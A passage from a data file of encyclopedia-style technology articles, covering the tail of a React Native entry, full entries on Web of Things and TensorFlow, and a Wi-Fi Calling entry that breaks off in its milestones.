`VirtualizedList` could be used rather than `ListView`. The communication between native and JS runtimes over the bridge is via message queues. This is also a performance bottleneck. For better performance, ReactNavigation is recommended over Navigator component. \n\nWhen comparing against Ionic platform, React Native outperforms Ionic across metrics such as CPU usage, memory usage, power consumption and list scrolling. \n\n\n### Are there real-world examples of who's using React Native?\n\nFacebook and Instagram use React Native. Other companies or products using it include Bloomberg, Pinterest, Skype, Tesla, Uber, Walmart, Wix, Discord, Gyroscope, SoundCloud Pulse, Tencent QQ, Vogue, and many more. \n\nWalmart moved to React Native because it was hard to find skilled developers for native development. They used an incremental approach by migrating parts of their code to React Native. They were able to reuse 95% of their code between iOS and Android. They could reuse business logic with their web apps as well. They could deliver quick updates from their server rather than an app store. \n\nBloomberg developed their app in half the time using React Native. They were also able to push updates, do A/B testing and iterate quickly. \n\nAirbnb engineers write code for the web, iOS and Android. With React Native, they stated, \n\n> It's now feasible for us to have the same engineer skilled in JavaScript and React write the feature for all three platforms.\n\nHowever, in June 2018, Airbnb decided to move away from React Native and back to native development due to technical and organizational challenges. \n\n\n### What backend should I use for my React Native app?\n\nReact Native provides UI components. However, the React Native ecosystem is vast. There are frameworks/libraries for AR/VR, various editors and IDEs that support React Native, local databases (client-side storage), performance monitoring tools, CI/CD tools, authentication libraries, deep linking libraries, UI frameworks, and more. \n\nSpecifically for backends, **Mobile Backend as a Service (MBaaS)** is now available. Some options include RN Firebase, Baqend, RN Back, Feather and Graph Cool. These services make it easy for developers to build their React Native apps. \n\nThe more traditional approach is to build and manage your own backend. Some developers choose Node.js or Express.js because these are based on JavaScript that they're already using to build React Native UI. This can be paired with a database such as Firebase, MySQL, or MongoDB. Another option is to use Django with GraphQL. Even WordPress can be used, especially if the app is content driven. These are merely some examples. Developers can use any backend that suits their expertise and app requirements.\n\n\n### Could you point me to some useful React Native developer resources?\n\nHere are some useful resources:\n\n    + Expo is a free and open source toolchain for your React Native projects. Expo also has a collection of apps developed and shared by others. The easiest way to create a new app is to use the create-react-native-app codebase.\n    + If you wish learn by studying app code written by others, React Active News maintains a curated list of open source React Native apps.\n    + React.parts is a place to find reusable components for React Native.\n    + Visual Studio App Center is a useful tool to build and release your app.\n    + Use React Navigation for routing and navigation in React Native apps.\n    + React Native provides only the UI but here's a great selection of tools to complement React Native.\n\n\n## Milestones\n\n2011\n\nAt Facebook, Jordan Walke and his team release ReactJS, a JavaScript library that brings a new way of rendering pages with more responsive user interactions. A web page can be built from a hierarchy of UI components. \n\n2013\n\nReact Native starts as an internal hackathon project within Facebook. Meanwhile, ReactJS is open sourced. \n\nMar  \n2015\n\nFacebook open sources React Native for iOS on GitHub. The release for Android comes in September. \n\n2016\n\nMicrosoft and Samsung commit to adopt React Native for Windows and Tizen. \n\n2017\n\nReact Native sees a number of improvements over the year: better navigation, smoother list rendering, more performant animations, and more.","meta":{"title":"React Native","href":"react-native"}}
{"text":"# Web of Things\n\n## Summary\n\n\nWeb of Things (WoT) is a set of building blocks that seeks to make the Internet of Things (IoT) more interoperable and usable. It simplifies application development (including cross-domain applications) by adopting the web paradigm. Web developers will have a low barrier to entry when programming for the IoT.  \n\nThe key concepts of WoT include Thing Description, Thing Model, Interaction Model, Hypermedia Controls, Protocol Bindings, Profiles, Discovery and Binding Templates. IoT devices (aka Things) are treated as web resources, which makes WoT a Resource-Oriented Architecture (ROA). \n\nWoT is standardized by the W3C. There are developer tools and implementations. As of December 2023, widespread industry adoption of WoT is yet to happen. Highly resource-constrained devices that can't run a web stack will not be able to adopt WoT.\n\n## Discussion\n\n### Why do we need the Web of Things (WoT)?\n\nThe IoT ecosystem is fragmented. Applications or devices from different vendors don't talk to one another due to differing data models. Consumers need to use multiple mobile apps to interact with their IoT devices. While IoT has managed to network different devices via various connectivity protocols (Zigbee, IEEE 802.15.4, NB-IoT, Thread, etc.), there's a disconnect at the application layer. \n\nFor developers, this disconnect translates to more effort integrating new devices and services. Each application exposes its own APIs. This results in tight coupling between clients and service providers. It's more effort maintaining and evolving these services. \n\nWoT brings interoperability at the application layer with a unifying data model. It reuses the web paradigm. IoT devices can be treated as web resources. Just as documents on the web are interlinked and easily navigated, Things can be linked, discovered, queried and acted upon. Mature web standards such as REST, HTTP, JSON, AJAX and URI can be used to achieve this.   This means that web developers can become IoT developers. They can create reusable IoT building blocks rather than custom proprietary implementations that work for limited use cases. \n\n\n### What integration patterns does WoT cover?\n\nAn IoT device can directly expose a WoT API. This is the simplest integration pattern. It's also challenging from a security perspective or if the device is behind a firewall. For more resource-constrained devices running LPWAN protocols, direct access is difficult. They would connect to the cloud via a gateway, which exposes the WoT API. When devices spread over a large area need to cooperate, they would connect to the cloud in different ways and the cloud exposes the WoT API.  \n\nLet's consider specific use cases. A remote controller connects directly to an electrical appliance in a trusted environment. Similarly, a sensor acting as a control agent connects to an electrical appliance. A remote control outside a trusted environment connects to a gateway or a edge device which then connects to an electrical appliance. Connected devices are mapped to digital twins that can be accessed via a client device. A device can be controlled via its digital twin in the cloud. These various integration patterns can be combined through system integration. \n\n\n### What's the architecture of WoT?\n\nWoT standardizes a layered architecture of four layers (lower to higher): Access, Find, Share and Compose. The protocols or techniques used at each of these layers are already widely used on the web. These four layers can't be mapped to the OSI model, nor are they strictly defined at the interfaces. They're really a collection of services to ease the development of IoT solutions. \n\nAt the access layer, solution architects have to think about resource, representation and interface designs. They should also define how resources are interlinked. At the find layer, web clients can discover root URLs, the syntax and semantics of interacting with Things. At the compose layer, tools such as Node-RED and IFTTT can help create mashups. \n\n\n### What are Thing Description (TD) and Thing Model (TM) in WoT?\n\nTD is something like the business card of the Thing. It reveals everything about the Thing. It informs the protocol, data encoding, data structure, and security mechanism used by the Thing. TD itself is in JSON-LD format and is exposed by the Thing or can be discovered by consumers from a Thing Description Directory (TDD). \n\nIn object-oriented programming, objects are instantiated from classes. Likewise, a TD can be seen as an instantiation of a TM. A TM is a logical description of a Thing's interface and interactions. However, it doesn't contain instance-specific information such as an IP address, serial number of GPS location. A TM can include security details if those are applicable for all instances of that TM. \n\nBoth TD and TM are represented and serialized in JSON-LD format. Whereas a TD can be validated against its TM, a TM can't be validated. \n\n\n### What's the WoT interaction model?\n\nApart from links, a Thing may expose three types of interaction affordances: \n\n    + **Properties**: Property is a state of the Thing. State may be read-only or read-write. Properties can be made observable. Sensor values, stateful actuators, configuration, status and computation results are examples.\n    + **Actions**: Action invokes a function of the Thing. Action can be used to update one or more properties including read-only ones.\n    + **Events**: Event is used to asynchronously send data from the Thing to a consumer. Focus is on state transitions rather than the state itself. Examples include alarms or samples of a time series.Like documents on the web, WoT also links and forms. These are called **hypermedia controls**. Links are used to discover and interlink Things. Forms enable more complex operations than what's possible by simply dereferencing a URI. \n\n\n### What are protocol bindings in WoT?\n\nWoT's abstractions make it protocol agnostic. It doesn't matter if a Thing uses MQTT, CoAP, Modbus or any other connectivity protocol. WoT's interaction model unifies all these so that applications talk in terms of properties, actions and events. But abstractions have to be translated into protocol actions. This is provided by **protocol bindings**. For a door handle for example, protocol binding tells how to open/close the door at the level of knob or lever. \n\nW3C has published a non-normative document called **WoT Binding Templates**. This gives blueprints on how to write TDs for different IoT platforms or standards. This includes protocol-specific metadata, payload formats, and usage in specific IoT platforms. The consumer of a TD would implement the template, that is, the protocol stack, media type encoder/decoder and platform stack. \n\n\n### Who has implemented WoT?\n\nW3C maintains a list of developer resources. This include tools, implementations, TD directories and WoT middleware. For example, Eclipse Thingweb is a Node.js implementation to expose and consume TD. From other sources, there are implementations in Python, Java, Rust and Dart. Among the TD directories are TinyIoT Thing Directory and WoTHive.  Major WoT deployments during 2012-2021 have been documented. \n\nKrellian Ltd. offers WebThings Gateway and WebThings Framework. WebThings was initially developed at Mozilla. However, its API differs from W3C specifications in many ways. \n\nThe sayWoT! platform from evosoft (a Siemens subsidiary) gives web and cloud developers an easy way to develop IoT solutions. One study compared many WoT platforms including WoT-SDN, HomeWeb, KNX-WoT, EXIP, WTIF, SOCRADES, WoTKit, µWoTO, and more. \n\nWoT is being leveraged to create digital twins. WoTwins and Eclipse Ditto with WoT integration are examples of this. Ortiz et al. used WoT TD effectively in real-time IoT data processing in smart ports use case. WoTemu is an emulation framework for WoT edge architecture. \n\n\n### What standards cover WoT?\n\nThe W3C is standardizing WoT. The following are the main normative specifications: \n\n    + WoT Architecture 1.1 (Recommendation)\n    + WoT Thing Description 1.1 (Recommendation)\n    + WoT Discovery (Recommendation)\n    + WoT Profile (Working Draft)Informative specifications include WoT Scripting API, WoT Binding Templates, WoT Security and Privacy Guidelines, and WoT Use Cases and Requirements. \n\nBeginners can start at the W3C WoT webpage for latest updates, community groups, documentation and tooling.\n\nAt the IETF, there's a draft titled *Guidance on RESTful Design for Internet of Things Systems*. This is relevant to WoT. \n\n\n### What are some limitations of WoT?\n\nWoT depends on the web stack. Hence, it's not suited for very low-power devices or mesh deployments. \n\n**Matter** protocol, known earlier as Project CHIP, is an alternative to WoT. This is promoted by the Connectivity Standards Alliance (CSA), formerly called Zigbee Alliance. Matter is based on Thread, IPv6 and Dotdot. While Matter is not web friendly like WoT, it appears to have better industry traction.  However, Matter devices that expose WoT TDs can talk to WoT devices. \n\nThere's a claim that WoT hasn't adequately addressed security, privacy and data sharing issues. This is especially important when IoT devices are directly exposed to the web. Devices are energy inefficient since they're always on. They're vulnerable to DoS attacks. \n\nWoT alone can't solve complex problems such as optimize workflows across many IoT devices or applications. Hypermedea and EnvGuard are two approaches to solve this. Larian et al. compared many WoT platforms. They noted that current IoT middleware and WoT resource discovery need to be improved. Legacy systems would require custom code to interface to the WoT architecture. \n\n## Milestones\n\nNov  \n2007\n\nWilde uses the term \"Web of Things\" in a paper titled *Putting Things to REST*. He makes the case for treating a Thing (such as a sensor) as a web resource. It could then be accessed via RESTful calls rather than the more restrictive SOAP/WSDL API calls. Web concepts of URI, HTTP, HTML, XML and loosely coupling can be applied effectively towards Things.  \n\n2011\n\nGuinard publishes his Doctor of Science dissertation in the field of Web of Things. In 2016, he co-authors (with Trifa) a book titled *Building the Web of Things*. Guinard sees WoT as\n\n> A refinement of the Internet of Things (IoT) by integrating smart things not only into the Internet (the network), but into the Web (the application layer).\n\nJul  \n2013\n\n**Web of Things Community Group** is created. Subsequently in 2014, a workshop is held (June) and an Interest Group is formed (November). \n\nDec  \n2016\n\nFollowing the first in-person meeting and a WoT Plugfest in 2015, the **W3C WoT Working Group** is formed. It's aim is to produce two normative specifications (Architecture, Thing Description) and two informative specifications (Scripting API, Binding Templates). \n\nJun  \n2018\n\nFrom the Eclipse Foundation, the first commit on GitHub is made for the **Eclipse Thingweb** project. The project aims to provide Node.js components and tools for developers to build IoT systems that conform to W3C WoT standards. The project releases v0.5.0 in October. \n\nApr  \n2020\n\nW3C publishes WoT Architecture and WoT Thing Description as separate **W3C Recommendation** documents. \n\nJul  \n2022\n\nTzavaras et al. propose using **OpenAPI** descriptions and ontologies to bring Things closer to the world of Semantic Web. Thing Descriptions can be created in OpenAPI while also conforming to W3C WoT architecture. They argue that OpenAPI is already a mature standard. It provides a uniform way to interact with web services and Things. \n\nNov  \n2022\n\nMarkus Reigl at Siemens comments that WoT will do for IoT what HTML did for the WWW in the 1990s. TD is not a mere concept. It leads to executable software code. He predicts IoT standardization will gain momentum. \n\nDec  \n2023\n\nW3C publishes WoT Architecture 1.1 and WoT Thing Description 1.1 as W3C Recommendation documents. In addition, WoT Discover is also published as a W3C Recommendation.","meta":{"title":"Web of Things","href":"web-of-things"}}
{"text":"# TensorFlow\n\n## Summary\n\n\nTensorFlow is an open source software library for numerical computation using **data flow graphs**. Nodes in the graph represent mathematical operations, while the graph edges represent the multidimensional data arrays (tensors) that flow between them. This dataflow paradigm enables parallelism, distributed execution, optimal compilation and portability. \n\nThe typical use of TensorFlow is for Machine Learning (ML), particularly Deep Learning (DL) that uses large scale multi-layered neural networks. More specifically, it's best for classification, perception, understanding, discovery, prediction and creation. \n\nTensorFlow was originally developed by researchers and engineers working on the Google Brain team within Google's Machine Intelligence Research organization for ML/DL research. The system is general enough to be applicable in a wide variety of other domains as well.\n\n## Discussion\n\n### For which use cases is TensorFlow best suited?\n\nTensorFlow can be used in any domain where ML/DL can be employed. It can also be used in other forms of AI, including reinforcement learning and logistic regression. On mobile devices, applications include speech recognition, image recognition, object localization, gesture recognition, optical character recognition, translation, text classification, voice synthesis, and more. \n\nSome of the areas are: \n\n    + **Voice/Speech Recognition**: For voice-based interfaces as popularized by Apple Siri, Amazon Alexa or Microsoft Cortana. For sentiment analysis in CRM. For flaw detection (noise analysis) in industrial systems.\n    + **Text-Based Applications**: For sentimental analysis (CRM, Social Media), threat detection (Social Media, Government) and fraud detection (Insurance, Finance). For machine translation such as with Google Translate. For text summarization using sequence-to-sequence learning. For language detection. For automated email replies such as with Google SmartReply.\n    + **Image Recognition**: For face recognition, image search, machine vision and photo clustering. For object classification and identification within larger images. For cancer detection in medical applications.\n    + **Time-Series Analysis**: For forecasting. For customer recommendations. For risk detection, predictive analytics and resource planning.\n    + **Video Detection**: For motion detection in gaming and security systems. For large-scale video understanding.\n\n### Could you name some applications where TensorFlow is being used?\n\nTensorFlow is being used by Google in following areas: \n\n    + RankBrain: Google search engine.\n    + SmartReply: Deep LSTM model to automatically generate email responses.\n    + Massively Multitask Networks for Drug Discovery: A deep neural network model for identifying promising drug candidates.\n    + On-Device Computer Vision for OCR - On-device computer vision model to do optical character recognition to enable real-time translation.\n    + Retinal imaging - Early detection of diabetic retinopathy using deep neural network of 26 layers.\n    + SyntaxNet - Built for Natural Language Understanding (NLU), this is based on TensorFlow and open sourced by Google in 2016.Outside Google, we mention some known real-world examples. Mozilla uses TensorFlow for speech recognition. UK supermarket Ocado uses it for route planning for its robots, demand forecasting, and product recommendations. A Japanese farmer has used it to classify cucumbers based on shape, length and level of distortion. As an experiment, Intel used TensorFlow on traffic videos for pedestrian detection. \n\nFurther examples were noted at the TensorFlow Developer Summit, 2018. \n\n\n### Which platforms and languages support TensorFlow?\n\nTensorFlow is available on 64-bit Linux, macOS, Windows and also on the mobile computing platforms like Android and iOS. Google has announced a software stack specifically for Android development called TensorFlow Lite. \n\nTensorFlow has official APIs available in the following languages: Python, JavaScript, C++, Java, Go, Swift. Python API is recommended. Bindings in other languages are available from community: C#, Haskell, Julia, Ruby, Rust, Scala. There's also C++ API reference for TensorFlow Serving. R's `tensorflow` package provides access to the complete TensorFlow API from within R. \n\nNvidia's **TensorRT**, a Programmable Inference Accelerator, allows you to optimize your models for inference by lowering precision and thereby reducing latency. \n\n\n### How is TensorFlow different from other ML/DL platforms?\n\nTensorFlow is relatively painless to setup. With its growing community adoption, it offers a healthy ecosystem of updates, tutorials and example code. It can run on a variety of hardware. It's cross platform. It has APIs or bindings in many popular programming languages. It supports GPU acceleration. Through TensorBoard, you get an intuitive view of your computation pipeline. Keras, a DL library, can run on TensorFlow. However, it's been criticized for being more complex and slower than alternative frameworks. \n\nCreated in 2007, **Theano** is one of the first DL frameworks but it's been perceived as too low-level. Support for Theano is also ending. Written in Lua, **Torch** is meant for GPUs. It's Python port released by Facebook, called **PyTorch**, is popular for analyzing unstructured data. It's developer friendly and memory efficient. **Caffe2** does well for modeling convolutional neural networks. **Apache MXNet**, along with its simplified DL interface called **Gluon**, is supported by Amazon and Microsoft. Microsoft also has **Microsoft Cognitive Toolkit (CNTK)** that can handle large datasets. For Java and Scala programmers, there's **Deeplearning4j**. \n\n\n### Which are the tools closely related to TensorFlow?\n\nThe following are closely associated with or variants of TensorFlow:\n\n    + **TensorFlow Lite**: Enables low-latency inferences on mobile and embedded devices.\n    + **TensorFlow Mobile**: To use TensorFlow from within iOS or Android mobile apps, where TensorFlow Lite cannot be used.\n    + **TensorFlow Serving**: A high performance, open source serving system for machine learning models, designed for production environments and optimized for TensorFlow.\n    + **TensorLayer**: Provides popular DL and RL modules that can be easily customized and assembled for tackling real-world machine learning problems.\n    + **TensorFlow Hub**: A library for the publication, discovery, and consumption of reusable parts of machine learning models.\n    + **TensorFlow Model Analysis**: A library for evaluating TensorFlow models.\n    + **TensorFlow Debugger**: Allows us to view the internal structure and states of running TensorFlow graphs during training and inference.\n    + **TensorFlow Playground**: A browser-based interface for beginners to tinker with neural networks. Written in TypeScript and D3.js. Doesn't actually use TensorFlow.\n    + **TensorFlow.js**: Build and train models entirely in the browser or Node.js runtime.\n    + **TensorBoard**: A suite of visualization tools that helps to understand, debug, and optimize TensorFlow programs.\n    + **TensorFlow Transform**: A library for preprocessing data with TensorFlow.\n\n### What's the architecture of TensorFlow?\n\nTensorFlow can be deployed across platforms, details of which are abstracted away from higher layers. The core itself is implemented in C++ and exposes its features via APIs in many languages, with Python being the most recommended. \n\nAbove these language APIs, is the **Layers** API that offers commonly used layers in deep learning models. To read data, **Datasets** API is the recommended way and it creates input pipelines. With **Estimators**, we can create custom models or bring in models pre-made for common ML tasks. \n\n**XLA (Accelerated Linear Algebra)** is a domain-specific compiler for linear algebra that optimizes TensorFlow computations. If offers improvements in speed, memory usage, and portability on server and mobile platforms. \n\n\n### Could you explain how TensorFlow's data graph works?\n\nTensorFlow uses a **dataflow graph**, which is a common programming model for parallel computing. Graph nodes represent **operations** and edges represent data consumed or produced by the nodes. Edges are called **tensors** that carry data. In the example figure, we show five graph nodes: `a` and `b` are placeholders to accept inputs; `c`, `d` and `e` are simple arithmetic operations.\n\nIn TensorFlow 1.x, when a graph is created, tensors don't contain the results of operations. The graph is evaluated through **sessions**, which encapsulate the TensorFlow runtime. However, with **eager execution**, operations are evaluated immediately instead of building a graph for later execution. This is useful for debugging and iterating quickly on small models or data. \n\nFor ingesting data into the graph, **placeholders** can be used for the simplest cases but otherwise, **datasets** should be preferred. To train models, **layers** are used to modify values in the graph. \n\nTo simplify usage, high-level API called **estimators** should be used. They encapsulate training, evaluation, prediction and export for serving. Estimators themselves are built on layers and build the graph for you. \n\n\n### How is TensorFlow 2.0 different from TensorFlow 1.x?\n\nIt makes sense to write any new code in TensorFlow 2.0. Existing 1.x code can be migrated to 2.0. The recommended path is to move to TensorFlow 1.14 and then to 2.0. Compatibility module `tf.compat` should help. \n\nHere are the key changes in TensorFlow 2.0: \n\n    + **API Cleanup**: Many APIs are removed or moved. For example, `absl-py` package replaces `tf.app`, `tf.flags`, and `tf.logging`. Main namespace `tf.*` is cleaned up by moving some items into subpackages such as `tf.math`. Examples of new modules are `tf.summary`, `tf.keras.metrics`, and `tf.keras.optimizers`.\n    + **Eager Execution**: Like Python, eager execution is the default behaviour. Code execute in order, making `tf.control_dependencies()` redundant.\n    + **No More Globals**: We need to keep track of variables. Untracked `tf.Variable` will get garbage collected.\n    + **Functions, Not Sessions**: Functions are more familiar to developers. Although `session.run()` is gone, for efficiency and JIT compilation, `tf.function()` decorator can be used. This automatically invokes *AutoGraph* to convert Python constructs into TensorFlow graph equivalents. Functions can be shared and reused.\n\n\n## Milestones\n\n2011\n\nGoogle Brain invents **DistBelief**, a framework to train large models for machine learning. DistBelief can make use of computing clusters of thousands of machines for accelerated training. The framework manages details of parallelism (multithreading, message passing), synchronization and communication. Compared to MapReduce, DistBelief is better at deep network training. Compared to GraphLab, DistBelief is better at structured graphs. \n\nNov  \n2015\n\nUnder Apache 2.0 licensing, Google open sources TensorFlow, which is Google Brain's second-generation machine learning system. While other open source ML frameworks exist (Caffe, Theano, Torch), Google's competence in ML is supposedly 5-7 years ahead of the rest. However, Google doesn't open source algorithms that run on TensorFlow, not its advanced hardware infrastructure. \n\nApr  \n2016\n\nVersion 0.8 of TensorFlow is released. It comes with distributed training support. Powered by gRPC, models can be trained on hundreds of machines in parallel. For example, Inception image classification network was trained using 100 GPUs with an overall speedup of 56x compared to a single GPU. More generally, the system can map the dataflow graph onto heterogeneous devices (multi-core CPUs, general-purpose GPUs, mobile processors) in the available processes. \n\nMay  \n2016\n\nGoogle announced that it's been using **Tensor Processing Unit (TPU)**, a custom ASIC built specifically for machine learning and tailored for TensorFlow. \n\nJun  \n2016\n\nTensorFlow v0.9 is released with support for iOS and Raspberry Pi. Android support has been around from the beginning. \n\nFeb  \n2017\n\nVersion 1.0 of TensorFlow is released. The API is in Python but there's also experimental APIs in Java and Go. \n\nNov  \n2017\n\nGoogle releases a preview of **TensorFlow Lite** for mobile and embedded devices. This enables low-latency inferences for on-device ML models. In future, this should be preferred over **TensorFlow Mobile**. With TensorFlow 1.4, we can build models using high-level **Keras** API. Keras, which was previously in `tf.contrib.keras`, is now the core package `tf.keras`. \n\nSep  \n2019\n\nTensorFlow 2.0 is released following an alpha release in June. It improves workflows for both production and experimentation. It promises better performance on GPU acceleration.","meta":{"title":"TensorFlow","href":"tensorflow"}}
{"text":"# Wi-Fi Calling\n\n## Summary\n\n\nWi-Fi Calling is a technology that allows users to make or receive voice calls via a local Wi-Fi hotspot rather than via their mobile network operator's cellular radio connection. Voice calls are thus carried over the Internet, implying that Wi-Fi Calling relies on VoIP. However, unlike other VoIP services such as Skype or Viber, Wi-Fi Calling gives operators more control.\n\nWi-Fi Calling is possible only if the operator supports it, user's phone has the feature and user has enabled it. Once enabled, whether a voice call uses the cellular radio link or Wi-Fi link is almost transparent to the user. With cellular networks going all IP and offering VoLTE, Wi-Fi Calling has become practical and necessary in a competitive market.\n\nWi-Fi Calling is also called *Voice over Wi-Fi (VoWi-Fi)*.\n\n## Discussion\n\n### In what scenarios can Wi-Fi Calling be useful to have?\n\nIn places where cellular coverage is poor, such as in rural residences, concrete indoors, basements, or underground train stations, users will not be able to make or receive voice calls. In these scenarios, the presence of a local Wi-Fi network can serve as the \"last-mile\" connectivity to the user. Wi-Fi can therefore complement the cellular network in places where the latter's coverage is poor.\n\nFor example, a user could be having an active voice call via the cellular network and suddenly enters a building with poor coverage. Without Wi-Fi Calling, the call might get dropped. With Wi-Fi Calling, the call can be seamlessly handed over to the Wi-Fi network without even the user noticing it. Astute users may notice that their call is on Wi-Fi since smartphones may indicate this via an icon. More importantly, user intervention is not required to switch between cellular and Wi-Fi. Such seamless handover has become possible because cellular network's IP and packet switching: VoWi-Fi can be handed off to VoLTE, and vice versa. \n\n\n### Isn't Wi-Fi Calling the same as Skype, Viber or WhatsApp voice calls?\n\nMany smartphone apps allow voice (and even video) calls over the Internet. They are based on VoIP technology. We normally call them over-the-top (OTT) services since they merely use the phone's data connection and operators bill for data usage and not for the service itself. However, many of these systems require both parties to have the same app installed. Even when this constraint is removed, the service is controlled by the app provider.\n\nWi-Fi Calling gives cellular operators greater control. Driven by competition from OTT services, Wi-Fi Calling gives operators an opportunity to regain market share for voice calls. Voice packets are carried securely over IP to the operator's core network, thus allowing the operator to reuse many resources and procedures already in place for VoIP calls. Likewise, messages and video–*Video over LTE (ViLTE)*–can also be carried over Wi-Fi. \n\nFrom an architectural perspective, Wi-Fi Calling is served by operator's IP Multimedia Subsystem (IMS), whereas Skype calls are routed out of the operator's network into the Internet.\n\n\n### Isn't Wi-Fi Calling the same as Wi-Fi Offload?\n\nNot exactly. Wi-Fi Calling can be seen as a form of offload but they have different motivations. Wi-Fi Offload came about to ease network congestion and improve QoS for users in high-density areas. The offload is transparent for users whose devices are authenticated via EAP-SIM/AKA. \n\nWi-Fi Calling is in response to OTT services stealing revenue from mobile operators. Even VoLTE was deployed by operators, voice calls couldn't be made over Wi-Fi and OTT services was what users used when they had access to Wi-Fi. Wi-Fi Calling aims to overcome this problem. \n\n\n### What are the possible benefits of Wi-Fi Calling?\n\nFor subscribers, benefits include seamless connectivity and mobility between cellular and Wi-Fi. The selection is automatic and transparent to users. Data is protected using IPSec from mobile to core network, along with traditional SIM-based authentication. Users can potentially lower their monthly bills through service bundles and reduced roaming charges. Sometimes calling home from another country could be free depending on the subscribed plan and operator. \n\nMoreover, the user's phone will have a single call log (likewise, for message log). The default dialler can be used along with all saved contacts. Those receiving the call will see the caller's usual phone number. These are not possible with a third-party installed app.\n\nFor operators, Wi-Fi complements cellular coverage and capacity. T-Mobile was one of the early adopters because it had poor indoor coverage. Wi-Fi Network performance is optimized by allowing bandwidth-intensive traffic to be offloaded to Wi-Fi when so required. All their IMS-based services can now be extended to Wi-Fi access rather than losing out to OTT app/service providers. \n\n\n### How does the network architecture change for Wi-Fi Calling?\n\nTwo network functions are involved: \n\n    + **Evolved Packet Data Gateway (ePDG)**: Serves an untrusted Wi-Fi network. An IPSec tunnel protects data between mobile and ePDG, from where it goes to Packet Gateway (PGW). The mobile needs an update with an IPsec client. No changes are needed for the access point.\n    + **Trusted Wireless Access Gateway (TWAG)**: Serves a trusted Wi-Fi network, which is typically under operator's control. In this case, data between mobile and TWAG is encrypted at radio access and IPSec is not used. From TWAG, data goes to PGW. No changes are needed for the mobile but Wi-Fi access point needs to be updated.If the network is not an Evolved Packet Core (EPC), then Tunnel Termination Gateway (TTG) is used instead of ePDG; Wireless Access Gateway (WAG) is used instead of TWAG; GGSN is used instead of PGW.\n\nThe untrusted mode is often used for Wi-Fi Calling, since public hotspots can be used without updating the access point. It's the operator who decides if a non-3GPP access can be considered trusted. \n\n\n### How is an end-user device authenticated for Voice over Wi-Fi service?\n\nWithin the network, *3GPP AAA Server* is used to authenticate end devices. Authentication is based on SIM and the usual network functions located in the Home Subscriber Server (HSS). 3GPP AAA Server does not maintain a separate database and relies on the HSS. \n\nVendors who sell AAA servers usually give the ability to do authentication of devices that don't have SIM. For legacy networks, they can interface with HLR rather than HSS. They support AAA protocols such as RADIUS and Diameter. They support various EAP methods including TLS, PEAP and CHAP. \n\n\n### What are the 3GPP standards covering Wi-Fi Calling?\n\nDocuments that specify \"non-3GPP access\" are applicable to Wi-Fi Calling. The following are some relevant documents (non-exhaustive list):   \n\n    + TR 22.814: Location services\n    + TR 22.912: Study into network selection requirements\n    + TS 23.402: Architectural enhancements\n    + TS 24.234: 3GPP-WLAN interworking: WLAN UE to network protocols, Stage 3\n    + TS 24.302: Access to EPC, Stage 3\n    + TS 29.273: 3GPP EPS AAA interfaces\n    + TS 33.402: System Architecture Evolution: security aspects\n    + TR 33.822: Security aspects for inter-access mobilityIn addition, GSMA has released a list of Permanent Reference Documents on VoWi-Fi. \n\nWi-Fi Calling is a technology that comes from the cellular world. From Wi-Fi perspective, there's no special IEEE standard that talks about Wi-Fi Calling.\n\n\n### Are there commercial services offering Wi-Fi Calling?\n\nIn June 2016, it was reported that all four major operators in the US support Wi-Fi Calling, with T-Mobile supporting as many as 38 different handsets. In November 2016, there were 40+ operators offering Wi-Fi Calling in 25+ countries. Moreover, even affordable phones or devices without SIMs are supporting Wi-Fi Calling. An operator will normally publish a list of handsets that are supported, which usually includes both Android and iPhone models. In September 2017, it was reported that AT&T has 23 phones and Verizon has 17 phones that support Wi-Fi Calling. \n\nWi-Fi Calling may involve regulatory approval based on the country's licensing framework. For example, India's TRAI commented in October 2017 that Wi-Fi Calling can be introduced since licensing allows telephony service to be provided independent of the radio access. \n\n\n### Within enterprises, how can IT teams plan for Wi-Fi Calling?\n\nSome access points have the ability to prioritize voice traffic and this can be repurposed for Wi-Fi Calling. Examples include Aerohive, Aruba, Cisco Aironet and Ruckus. Enterprises can also work with operators to deploy femto/pico cells or distributed antenna systems. \n\nA minimum of 1 Mbps may be needed to support Wi-Fi Calling although Republic Wireless in the US claims 80 kbps is enough to hold a call, although voice quality may suffer. In reality, voice needs just 12 kbps but can scale down to 4.75 kbps. \n\n\n### How will users be billed for Wi-Fi Calling?\n\nThis is completely operator dependent and based on subscriber's current plan. For example, Canada's Rogers says that calls and messages are deducted from airtime and messaging limits. Roaming charges may apply only for international roaming. Verizon Wireless states that a voice call will use about 1 MB/minute of data; a video call will use 6-8 MB/minute. Billing is linked to user's current plan. \n\n\n### What are some practical issues with Wi-Fi Calling?\n\nBack in 2014, T-Mobile had handoff problems but it was improved later. The service was also not offered by other operators and not supported by most handsets. Even when a handset supports it, operators may not offer the service if the handset has not been purchased from the operator. \n\nSince any Wi-Fi hotspot can be used, including public ones, security is a concern. For this reason, all data over Wi-Fi must be protected and subscriber must be authenticated by the cellular operator. Seamless call continuity across cellular and Wi-Fi could be a problem, particularly when firewalls and VPNs are involved. Some users have reported problems when using Wi-Fi behind corporate firewalls. Likewise, IT teams in enterprises may have the additional task of ensuring Wi-Fi coverage and managing traffic. \n\nSince Wi-Fi Calling often uses public hotspots, there's no QoS control. However, it's argued that in places where cellular has poor coverage, QoS cannot be guaranteed anyway. In addition, QoS on Wi-Fi can often be achieved implicitly because of excess capacity. With the coming of 802.11ac and the ability to prioritize traffic via Wi-Fi Multimedia (WMM), QoS is unlikely to be a problem. \n\n## Milestones\n\n2007\n\nT-Mobile in the US launches something called \"HotSpot @ Home\". This is based on a technology named *Unlicensed Mobile Access*, which is a commercial name of a 3GPP feature named *Generic Access Network*. GAN operates in the IP layer, which means that access can be via any protocol, not just Wi-Fi. UMA does not take off because of lack of handsets that support it. It also had other operational issues related to interference, handover and configuration setup. \n\nNov  \n2011\n\nRepublic Wireless, a mobile virtual network operator (MVNO) in the US, rolls out \"Hybrid Calling\". Calls are primarily on Wi-Fi and cellular will be used as a fallback option. Their General Manager, Brian Dally, states,\n\n> Every other mobile carrier talks about offloading to Wi-Fi, we talk about failing over to cellular.\n\nSep  \n2014\n\nT-Mobile introduces Wi-Fi Calling in the US. This comes at the heels of the operator's rollout of VoLTE. Meanwhile, Apple iPhone starts supporting Wi-Fi Calling. \n\nApr  \n2015\n\nSprint introduces Wi-Fi Calling in the US. EE does the same in the UK. Meanwhile, Google gets into telecom by launching *Project Fi*, which allows seamless switching between Wi-Fi and cellular. Google doesn't have its own cellular network but uses those of Sprint, T-Mobile, and US Cellular. \n\nOct  \n2015\n\nIn the US, AT&T obtains regulatory approval to launch Wi-Fi Calling. By 2016, all four major US operators rollout Wi-Fi Calling nationwide. \n\nJun  \n2017\n\nUMA, which may be called first generation Wi-Fi 